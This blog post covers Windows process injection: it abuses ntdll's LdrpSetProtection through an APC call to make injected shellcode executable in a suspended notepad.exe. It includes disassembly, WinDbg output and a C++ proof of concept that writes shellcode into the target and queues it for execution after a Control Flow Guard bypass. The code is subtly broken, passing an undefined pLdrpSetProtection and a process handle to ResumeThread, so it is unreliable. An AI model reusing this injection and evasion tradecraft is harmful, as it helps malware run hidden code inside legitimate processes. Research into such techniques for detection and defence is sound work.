Changing memory protection using APC

blog.offensive.af/changing-memory-protection-using-apc

Process injection is an important part of Windows offensive tradecraft. The strategy is defined by combining various primitives - memory allocation, write, execute, etc. One of the primitives is changing memory protection - for example from `PAGE_READWRITE` to `PAGE_EXECUTE_READ` - to be able to execute the malicious code residing in the target process virtual memory.

Matthew (x86matthew) recently published awesome article. He demonstrated the function with three arguments exported by `ntdll.dll` that can be APC called and used as a memory write primitive. For more details - please refer to Matthew's blogpost.

More "wrapper" functions should definitely exist, that have less than 4 arguments (to be used with APC) and can be used as another primitive for process injection. The following function caught my attention:

```
0:007> uf ntdll!LdrpSetProtection
ntdll!LdrpSetProtection:
00007ffa`91276f70 488bc4          mov     rax,rsp
00007ffa`91276f73 48895808        mov     qword ptr [rax+8],rbx
...
ntdll!LdrpSetProtection+0x90:
00007ffa`91277000 488d842480000000 lea     rax,[rsp+80h]
00007ffa`91277008 4883c9ff        or      rcx,0FFFFFFFFFFFFFFFFh
00007ffa`9127700c 4c8d442430      lea     r8,[rsp+30h]
00007ffa`91277011 4889442420      mov     qword ptr [rsp+20h],rax
00007ffa`91277016 488d542438      lea     rdx,[rsp+38h]
00007ffa`9127701b e8f0a00100      call    ntdll!NtProtectVirtualMemory
(00007ffa`91291110)
...
```

Let's go through ReactOS code for `LdrpSetProtection` step by step. Disassembling the function in IDA confirms that ReactOS code is relevant.

```
NTSTATUS
 NTAPI
 LdrpSetProtection(PVOID ViewBase,
                   BOOLEAN Restore)
 {
     PIMAGE_NT_HEADERS NtHeaders;
     PIMAGE_SECTION_HEADER Section;
     NTSTATUS Status;
     PVOID SectionBase;
     SIZE_T SectionSize;
     ULONG NewProtection, OldProtection, i;

     /* Get the NT headers */
     NtHeaders = RtlImageNtHeader(ViewBase);
     if (!NtHeaders) return STATUS_INVALID_IMAGE_FORMAT;
```

`LdrpSetProtection` has two arguments. Firstly, `ViewBase` must point to the executable header that passes `RtlImageNtHeader` . To achieve this you need:

1. DOS header with a correct offset to NT header;
2. NT header with `__IMAGE_FILE_HEADER` that makes sense (especially `NumberOfSections`);
3. `__IMAGE_SECTION_HEADER` which is going to directly affect `ZwProtectVirtualMemory` execution later.

Then executable header is parsed to initialize necessary variables.

```
/* Compute address of the first section header */
     Section = IMAGE_FIRST_SECTION(NtHeaders);

     /* Go through all sections */
     for (i = 0; i < NtHeaders->FileHeader.NumberOfSections; i++)
     {
         /* Check for read-only non-zero section */
         if ((Section->SizeOfRawData) &&
             !(Section->Characteristics & IMAGE_SCN_MEM_WRITE))
         {
             /* Check if we are setting or restoring protection */
             if (Restore)
             {
                 /* Set it to either EXECUTE or READONLY */
                 if (Section->Characteristics & IMAGE_SCN_MEM_EXECUTE)
                 {
                     NewProtection = PAGE_EXECUTE;
                 }
                 else
                 {
                     NewProtection = PAGE_READONLY;
                 }

                 /* Add PAGE_NOCACHE if needed */
                 if (Section->Characteristics & IMAGE_SCN_MEM_NOT_CACHED)
                 {
                     NewProtection |= PAGE_NOCACHE;
                 }
             }
             else
             {
                 /* Enable write access */
                 NewProtection = PAGE_READWRITE;
             }
```

The section header is the most important part. Define `SizeOfRawData` and `Characteristics` depending on memory protection you want to set (e.g. `IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ`). Choose the necessary value for `LdrpSetProtection` second argument (`Restore`) depending on the memory protection you would like to set (`TRUE` for `PAGE_EXECUTE` and `FALSE` for `PAGE_READWRITE`).

The next fragment of the code defines the target memory address passed to `ZwProtectVirtualMemory` .

```
            /* Get the section VA */
             SectionBase = (PVOID)((ULONG_PTR)ViewBase + Section->VirtualAddress);
             SectionSize = Section->SizeOfRawData;
             if (SectionSize)
             {
                 /* Set protection */
                 Status = ZwProtectVirtualMemory(NtCurrentProcess(),
                                                 &SectionBase,
                                                 &SectionSize,
                                                 NewProtection,
                                                 &OldProtection);
                 if (!NT_SUCCESS(Status)) return Status;
             }
```

To try to change memory protection for arbitrary virtual memory page, we need to set `VirtualAddress` to the following value:

```
imgSectionHeader.VirtualAddress = (u_char*)targetMemory - (u_char*)remoteFakeHeader;
```

This will result in the following `SectionBase` value:

```
SectionBase = remoteFakeHeader + targetMemory - remoteFakeHeader = targetMemory
```

This way you can use `LdrpSetProtection` to set executable memory for virtual memory page in the target process. Inserting multiple sections into fake header allows to introduce multiple memory protection changes at once!

There is an important caveat - the virtual address of `targetMemory` should be higher than the address of `remoteFakeHeader`. The `remoteFakeHeader` passed to `LdrpSetProtection` is `unsigned int64`:

```
_int64 __fastcall LdrpSetProtection(__int64 a1, char a2)
```

When `SectionBase` address is calculated - `DWORD` (32bit) `Section→Virtual Address` value is added to `unsigned int64` `ViewBase`.

```
typedef struct _IMAGE_SECTION_HEADER {
  BYTE  Name[IMAGE_SIZEOF_SHORT_NAME];
  ...
  DWORD VirtualAddress;
  ...
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
```

This makes it impossible to integer overflow `remoteFakeHeader` using `DWORD` value under control - hence the requirement to have `targetMemory` higher than `remoteFakeHeader`. You can play around it by allocating remote memory for the fake header in the first place and allocating memory for the shellcode after.

The code snippet below demonstrates how to change memory protection in the remote process.

```
#include <Windows.h>
#include <stdio.h>
#include "functions.h"

char sc[] = "[SHELLCODE]";

int main()
{
    wchar_t procPath[] = L"C:\\Windows\\System32\\notepad.exe";
    STARTUPINFO startup = { sizeof(STARTUPINFO) };
    PROCESS_INFORMATION pi = { 0 };

    // Create suspended process
    CreateProcess(nullptr, procPath, nullptr, nullptr, FALSE, CREATE_SUSPENDED,
nullptr, nullptr, &startup, &pi);

    // Prepare dummy executable header
    _IMAGE_NT_HEADERS64 header;
    _IMAGE_DOS_HEADER dosHeader;
    _IMAGE_FILE_HEADER peHeader;
    IMAGE_SECTION_HEADER imgSectionHeader{ 0 };
    header.Signature = 0x00004550;
    peHeader.Machine = 0x8664;
    [Filling up _IMAGE_FILE_HEADER]
    header.FileHeader = peHeader;
    dosHeader.e_magic = 0x5a4d;
    [Filling up _IMAGE_DOS_HEADER]
    imgSectionHeader.SizeOfRawData = 10;
    // We want to change remote memory protection in the target process to executable
    imgSectionHeader.Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ;
    imgSectionHeader.SizeOfRawData = 4096;

    // Write dummy header to the local buffer
    SIZE_T dummyHeaderLen = sizeof(_IMAGE_DOS_HEADER) + sizeof(header) +
sizeof(IMAGE_SECTION_HEADER);
    LPVOID dummyHeaderLocal = LocalAllocPrimitive(dummyHeaderLen);
    memcpy(dummyHeaderLocal, &dosHeader, sizeof(_IMAGE_DOS_HEADER));
    memcpy((u_char*)dummyHeaderLocal + sizeof(_IMAGE_DOS_HEADER), &header,
sizeof(header));

    // Allocate remote memory for the dummy header
    LPVOID dummyHeaderRemote = RemoteAllocPrimitive(pi.hProcess, dummyHeaderLen);

    // Allocate RW virtual memory to write shellcode to
    LPVOID shellcode = RemoteAllocPrimitive(pi.hProcess, sizeof(sc));
    // Write shellcode to the remote process allocated memory
    RemoteWritePrimitive(pi.hProcess, shellcode, sc, sizeof(sc));

    // Based on the allocated remote memory address - calculate IMAGE_SECTION_HEADER
virtual address to target LPVOID memory holding the shellcode
    imgSectionHeader.VirtualAddress = (u_char*)shellcode -
(u_char*)dummyHeaderRemote;
```

```
    memcpy((u_char*)dummyHeaderLocal + sizeof(_IMAGE_DOS_HEADER) + sizeof(header),
&imgSectionHeader, sizeof(IMAGE_SECTION_HEADER));
    // Write dummy header to the remote process
    RemoteWritePrimitive(pi.hProcess, dummyHeaderRemote, dummyHeaderLocal,
dummyHeaderLen);

    // Get the address of LdrpSetProtection using hardcoded offset
    DWORD_PTR funcAddress = (DWORD_PTR)GetModuleHandle(L"ntdll") + 0x86f70;
    // Get the address of NtQueueApcThread
    NtQueueApcThread_p pNtQueueApcThread =
(NtQueueApcThread_p)GetProcAddress(GetModuleHandle(L"ntdll"), "NtQueueApcThread");

    // Bypass Control Flow Guard in the remote process
    CFGBypass(pi.hProcess);

    // Execute LdrpSetProtection to change memory protection to executable
    pNtQueueApcThread(pi.hProcess, pLdrpSetProtection, dummyHeaderRemote, (void*)1,
nullptr);
    // Execute the shellcode in the remote process
    pNtQueueApcThread(pi.hProcess, shellcode, nullptr, nullptr, nullptr);
    // Resume thread to trigger APC execution
    ResumeThread(pi.hProcess);
}
```

Invoking `LdrpSetProtection` using APC will result in CFG exception, so its necessary to bypass it if you want to use the primitive.

```
0:001> g
ModLoad: 00007fff`8f300000 00007fff`8f32e000   C:\Windows\System32\IMM32.DLL
(2684.3338): Security check failure or stack buffer overrun - code c0000409 (!!!
second chance !!!)
Subcode: 0xa FAST_FAIL_GUARD_ICALL_CHECK_FAILURE
ntdll!RtlFailFast2:
00007fff`91815700 cd29    int     29h
```

`LdrpSetProtection` unfortunately is not exported by `ntdll.dll`. We can verify that `LdrpSetProtection` is not a member of `ntdll.dll` `__guard_fids_table` (authorized functions for an indirect call) by checking CFG bitmap.

```
0:007> u ntdll!LdrpValidateUserCallTarget
ntdll!LdrpValidateUserCallTarget:
00007ffa`c1b5fbf0 488b1599970e00  mov     rdx,qword ptr
[ntdll!LdrSystemDllInitBlock+0xb0 (00007ffa`c1c49390)]
00007ffa`c1b5fbf7 488bc1          mov     rax,rcx
00007ffa`c1b5fbfa 48c1e809        shr     rax,9
00007ffa`c1b5fbfe 488b14c2        mov     rdx,qword ptr [rdx+rax*8]
00007ffa`c1b5fc02 488bc1          mov     rax,rcx
00007ffa`c1b5fc05 48c1e803        shr     rax,3
00007ffa`c1b5fc09 f6c10f          test    cl,0Fh
00007ffa`c1b5fc0c 7507            jne     ntdll!LdrpValidateUserCallTarget+0x25
(00007ffa`c1b5fc15)
0:007> u ntdll!LdrpSetProtection l1
ntdll!LdrpSetProtection:
00007ffa`c1b56f70 488bc4          mov     rax,rsp
0:007> dq 00007ffa`c1c49390 L1
00007ffa`c1c49390  00007df5`81650000
0:007> ? 00007ffa`c1b56f70 >> 9
Evaluate expression: 274833922743 = 0000003f`fd60dab7
0:007> dq (00007df5`81650000 + 0000003f`fd60dab7 * 8) L1
00007ff5`6c6bd5b8  00000000`00000000
```

CFG bypass and dynamic resolution of `LdrpSetProtection` offset is left as an exercise for the reader.

In my tests `LdrpSetProtection` was present in `ntdll.dll` on Windows 1809 to 21H1. Unfortunately, the function was removed from `ntdll.dll` in 21H2. :woeful:.